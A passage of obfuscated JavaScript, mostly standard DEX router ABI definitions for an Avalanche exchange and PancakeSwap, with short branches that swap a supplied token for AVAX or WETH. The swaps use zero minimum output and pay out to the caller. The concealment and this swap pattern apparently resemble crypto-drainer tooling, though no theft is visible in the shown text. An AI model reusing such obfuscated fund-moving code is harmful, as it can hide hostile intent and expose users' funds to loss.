}, { | |
internalType: "uint256", | |
name: "amountBDesired", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountAMin", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountBMin", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "addLiquidity", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountA", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountB", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "liquidity", | |
type: "uint256" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "token", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "amountTokenDesired", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountTokenMin", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountAVAXMin", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "addLiquidityAVAX", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountToken", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountAVAX", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "liquidity", | |
type: "uint256" | |
}], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "factory", | |
outputs: [{ | |
internalType: "address", | |
name: "", | |
type: "address" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountOut", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "reserveIn", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "reserveOut", | |
type: "uint256" | |
}], | |
name: "getAmountIn", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountIn", | |
type: "uint256" | |
}], | |
stateMutability: "pure", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountIn", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "reserveIn", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "reserveOut", | |
type: "uint256" | |
}], | |
name: "getAmountOut", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountOut", | |
type: "uint256" | |
}], | |
stateMutability: "pure", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountOut", | |
type: "uint256" | |
}, { | |
internalType: "address[]", | |
name: "path", | |
type: "address[]" | |
}], | |
name: "getAmountsIn", | |
outputs: [{ | |
internalType: "uint256[]", | |
name: "amounts", | |
type: "uint256[]" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountIn", | |
type: "uint256" | |
}, { | |
internalType: "address[]", | |
name: "path", | |
type: "address[]" | |
}], | |
name: "getAmountsOut", | |
outputs: [{ | |
internalType: "uint256[]", | |
name: "amounts", | |
type: "uint256[]" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountA", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "reserveA", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "reserveB", | |
type: "uint256" | |
}], | |
name: "quote", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountB", | |
type: "uint256" | |
}], | |
stateMutability: "pure", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "tokenA", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "tokenB", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "liquidity", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountAMin", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountBMin", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "removeLiquidity", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountA", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountB", | |
type: "uint256" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "token", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "liquidity", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountTokenMin", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountAVAXMin", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "removeLiquidityAVAX", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountToken", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountAVAX", | |
type: "uint256" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "token", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "liquidity", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountTokenMin", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountAVAXMin", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "removeLiquidityAVAXSupportingFeeOnTransferTokens", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountAVAX", | |
type: "uint256" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "token", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "liquidity", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountTokenMin", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountAVAXMin", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}, { | |
internalType: "bool", | |
name: "approveMax", | |
type: "bool" | |
}, { | |
internalType: "uint8", | |
name: "v", | |
type: "uint8" | |
}, { | |
internalType: "bytes32", | |
name: "r", | |
type: "bytes32" | |
}, { | |
internalType: "bytes32", | |
name: "s", | |
type: "bytes32" | |
}], | |
name: "removeLiquidityAVAXWithPermit", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountToken", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountAVAX", | |
type: "uint256" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "token", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "liquidity", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountTokenMin", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountAVAXMin", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}, { | |
internalType: "bool", | |
name: "approveMax", | |
type: "bool" | |
}, { | |
internalType: "uint8", | |
name: "v", | |
type: "uint8" | |
}, { | |
internalType: "bytes32", | |
name: "r", | |
type: "bytes32" | |
}, { | |
internalType: "bytes32", | |
name: "s", | |
type: "bytes32" | |
}], | |
name: "removeLiquidityAVAXWithPermitSupportingFeeOnTransferTokens", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountAVAX", | |
type: "uint256" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "tokenA", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "tokenB", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "liquidity", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountAMin", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountBMin", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}, { | |
internalType: "bool", | |
name: "approveMax", | |
type: "bool" | |
}, { | |
internalType: "uint8", | |
name: "v", | |
type: "uint8" | |
}, { | |
internalType: "bytes32", | |
name: "r", | |
type: "bytes32" | |
}, { | |
internalType: "bytes32", | |
name: "s", | |
type: "bytes32" | |
}], | |
name: "removeLiquidityWithPermit", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountA", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountB", | |
type: "uint256" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountOut", | |
type: "uint256" | |
}, { | |
internalType: "address[]", | |
name: "path", | |
type: "address[]" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "swapAVAXForExactTokens", | |
outputs: [{ | |
internalType: "uint256[]", | |
name: "amounts", | |
type: "uint256[]" | |
}], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountOutMin", | |
type: "uint256" | |
}, { | |
internalType: "address[]", | |
name: "path", | |
type: "address[]" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "swapExactAVAXForTokens", | |
outputs: [{ | |
internalType: "uint256[]", | |
name: "amounts", | |
type: "uint256[]" | |
}], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountOutMin", | |
type: "uint256" | |
}, { | |
internalType: "address[]", | |
name: "path", | |
type: "address[]" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "swapExactAVAXForTokensSupportingFeeOnTransferTokens", | |
outputs: [], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountIn", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountOutMin", | |
type: "uint256" | |
}, { | |
internalType: "address[]", | |
name: "path", | |
type: "address[]" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "swapExactTokensForAVAX", | |
outputs: [{ | |
internalType: "uint256[]", | |
name: "amounts", | |
type: "uint256[]" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountIn", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountOutMin", | |
type: "uint256" | |
}, { | |
internalType: "address[]", | |
name: "path", | |
type: "address[]" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "swapExactTokensForAVAXSupportingFeeOnTransferTokens", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountIn", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountOutMin", | |
type: "uint256" | |
}, { | |
internalType: "address[]", | |
name: "path", | |
type: "address[]" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "swapExactTokensForTokens", | |
outputs: [{ | |
internalType: "uint256[]", | |
name: "amounts", | |
type: "uint256[]" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountIn", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountOutMin", | |
type: "uint256" | |
}, { | |
internalType: "address[]", | |
name: "path", | |
type: "address[]" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "swapExactTokensForTokensSupportingFeeOnTransferTokens", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountOut", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountInMax", | |
type: "uint256" | |
}, { | |
internalType: "address[]", | |
name: "path", | |
type: "address[]" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "swapTokensForExactAVAX", | |
outputs: [{ | |
internalType: "uint256[]", | |
name: "amounts", | |
type: "uint256[]" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountOut", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountInMax", | |
type: "uint256" | |
}, { | |
internalType: "address[]", | |
name: "path", | |
type: "address[]" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "swapTokensForExactTokens", | |
outputs: [{ | |
internalType: "uint256[]", | |
name: "amounts", | |
type: "uint256[]" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
stateMutability: "payable", | |
type: "receive" | |
}]; | |
let _0x52088d = new ethers.Contract(_0x2b7b1b, _0x351a89, _0x9d9505); | |
let _0x1e0e18 = []; | |
_0x1e0e18[0] = _0x4f37a4.asset.token; | |
_0x1e0e18[1] = "0xB31f66AA3C1e785363F0875A1B74E27b85FD66c7"; | |
return [_0x52088d.swapExactTokensForAVAX(_0x4f37a4.asset.amount, 0, _0x1e0e18, this.caller, _0x1b1427), _0x1e0e18[1]]; | |
} | |
case "Pancake": | |
{ | |
let _0x27ef1d = [{ | |
inputs: [{ | |
internalType: "address", | |
name: "_factory", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "_WETH", | |
type: "address" | |
}], | |
stateMutability: "nonpayable", | |
type: "constructor" | |
}, { | |
inputs: [], | |
name: "WETH", | |
outputs: [{ | |
internalType: "address", | |
name: "", | |
type: "address" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "tokenA", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "tokenB", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "amountADesired", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountBDesired", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountAMin", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountBMin", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "addLiquidity", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountA", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountB", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "liquidity", | |
type: "uint256" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "token", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "amountTokenDesired", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountTokenMin", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountETHMin", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "addLiquidityETH", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountToken", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountETH", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "liquidity", | |
type: "uint256" | |
}], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "factory", | |
outputs: [{ | |
internalType: "address", | |
name: "", | |
type: "address" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountOut", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "reserveIn", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "reserveOut", | |
type: "uint256" | |
}], | |
name: "getAmountIn", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountIn", | |
type: "uint256" | |
}], | |
stateMutability: "pure", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountIn", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "reserveIn", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "reserveOut", | |
type: "uint256" | |
}], | |
name: "getAmountOut", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountOut", | |
type: "uint256" | |
}], | |
stateMutability: "pure", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountOut", | |
type: "uint256" | |
}, { | |
internalType: "address[]", | |
name: "path", | |
type: "address[]" | |
}], | |
name: "getAmountsIn", | |
outputs: [{ | |
internalType: "uint256[]", | |
name: "amounts", | |
type: "uint256[]" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountIn", | |
type: "uint256" | |
}, { | |
internalType: "address[]", | |
name: "path", | |
type: "address[]" | |
}], | |
name: "getAmountsOut", | |
outputs: [{ | |
internalType: "uint256[]", | |
name: "amounts", | |
type: "uint256[]" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountA", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "reserveA", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "reserveB", | |
type: "uint256" | |
}], | |
name: "quote", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountB", | |
type: "uint256" | |
}], | |
stateMutability: "pure", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "tokenA", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "tokenB", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "liquidity", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountAMin", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountBMin", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "removeLiquidity", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountA", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountB", | |
type: "uint256" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "token", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "liquidity", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountTokenMin", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountETHMin", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "removeLiquidityETH", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountToken", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountETH", | |
type: "uint256" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "token", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "liquidity", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountTokenMin", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountETHMin", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "removeLiquidityETHSupportingFeeOnTransferTokens", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountETH", | |
type: "uint256" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "token", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "liquidity", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountTokenMin", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountETHMin", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}, { | |
internalType: "bool", | |
name: "approveMax", | |
type: "bool" | |
}, { | |
internalType: "uint8", | |
name: "v", | |
type: "uint8" | |
}, { | |
internalType: "bytes32", | |
name: "r", | |
type: "bytes32" | |
}, { | |
internalType: "bytes32", | |
name: "s", | |
type: "bytes32" | |
}], | |
name: "removeLiquidityETHWithPermit", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountToken", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountETH", | |
type: "uint256" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "token", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "liquidity", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountTokenMin", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountETHMin", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}, { | |
internalType: "bool", | |
name: "approveMax", | |
type: "bool" | |
}, { | |
internalType: "uint8", | |
name: "v", | |
type: "uint8" | |
}, { | |
internalType: "bytes32", | |
name: "r", | |
type: "bytes32" | |
}, { | |
internalType: "bytes32", | |
name: "s", | |
type: "bytes32" | |
}], | |
name: "removeLiquidityETHWithPermitSupportingFeeOnTransferTokens", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountETH", | |
type: "uint256" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "tokenA", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "tokenB", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "liquidity", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountAMin", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountBMin", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}, { | |
internalType: "bool", | |
name: "approveMax", | |
type: "bool" | |
}, { | |
internalType: "uint8", | |
name: "v", | |
type: "uint8" | |
}, { | |
internalType: "bytes32", | |
name: "r", | |
type: "bytes32" | |
}, { | |
internalType: "bytes32", | |
name: "s", | |
type: "bytes32" | |
}], | |
name: "removeLiquidityWithPermit", | |
outputs: [{ | |
internalType: "uint256", | |
name: "amountA", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountB", | |
type: "uint256" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountOut", | |
type: "uint256" | |
}, { | |
internalType: "address[]", | |
name: "path", | |
type: "address[]" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "swapETHForExactTokens", | |
outputs: [{ | |
internalType: "uint256[]", | |
name: "amounts", | |
type: "uint256[]" | |
}], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountOutMin", | |
type: "uint256" | |
}, { | |
internalType: "address[]", | |
name: "path", | |
type: "address[]" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "swapExactETHForTokens", | |
outputs: [{ | |
internalType: "uint256[]", | |
name: "amounts", | |
type: "uint256[]" | |
}], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountOutMin", | |
type: "uint256" | |
}, { | |
internalType: "address[]", | |
name: "path", | |
type: "address[]" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "swapExactETHForTokensSupportingFeeOnTransferTokens", | |
outputs: [], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountIn", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountOutMin", | |
type: "uint256" | |
}, { | |
internalType: "address[]", | |
name: "path", | |
type: "address[]" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "swapExactTokensForETH", | |
outputs: [{ | |
internalType: "uint256[]", | |
name: "amounts", | |
type: "uint256[]" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountIn", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountOutMin", | |
type: "uint256" | |
}, { | |
internalType: "address[]", | |
name: "path", | |
type: "address[]" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "swapExactTokensForETHSupportingFeeOnTransferTokens", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountIn", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountOutMin", | |
type: "uint256" | |
}, { | |
internalType: "address[]", | |
name: "path", | |
type: "address[]" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "swapExactTokensForTokens", | |
outputs: [{ | |
internalType: "uint256[]", | |
name: "amounts", | |
type: "uint256[]" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountIn", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountOutMin", | |
type: "uint256" | |
}, { | |
internalType: "address[]", | |
name: "path", | |
type: "address[]" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "swapExactTokensForTokensSupportingFeeOnTransferTokens", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountOut", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountInMax", | |
type: "uint256" | |
}, { | |
internalType: "address[]", | |
name: "path", | |
type: "address[]" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "swapTokensForExactETH", | |
outputs: [{ | |
internalType: "uint256[]", | |
name: "amounts", | |
type: "uint256[]" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "amountOut", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amountInMax", | |
type: "uint256" | |
}, { | |
internalType: "address[]", | |
name: "path", | |
type: "address[]" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "deadline", | |
type: "uint256" | |
}], | |
name: "swapTokensForExactTokens", | |
outputs: [{ | |
internalType: "uint256[]", | |
name: "amounts", | |
type: "uint256[]" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
stateMutability: "payable", | |
type: "receive" | |
}]; | |
let _0x1a86d2 = new ethers.Contract(_0x2b7b1b, _0x27ef1d, _0x9d9505); | |
let _0x343b75 = await _0x1a86d2.WETH(); | |
let _0x9bf859 = []; | |
_0x9bf859[0] = _0x4f37a4.asset.token; | |
_0x9bf859[1] = _0x343b75; | |
return [_0x1a86d2.swapExactTokensForETH(_0x4f37a4.asset.amount, 0, _0x9bf859, this.caller, _0x1b1427), _0x343b75]; | |
} | |
case "PancakeV2": | |
{ | |
let _0x3f633f = [{ | |
inputs: [{ | |
internalType: "address", | |
name: "_factoryV2", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "_deployer", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "_factoryV3", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "_positionManager", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "_stableFactory", | |
type: "address" | |
}, { | |
internalType: "address", | |
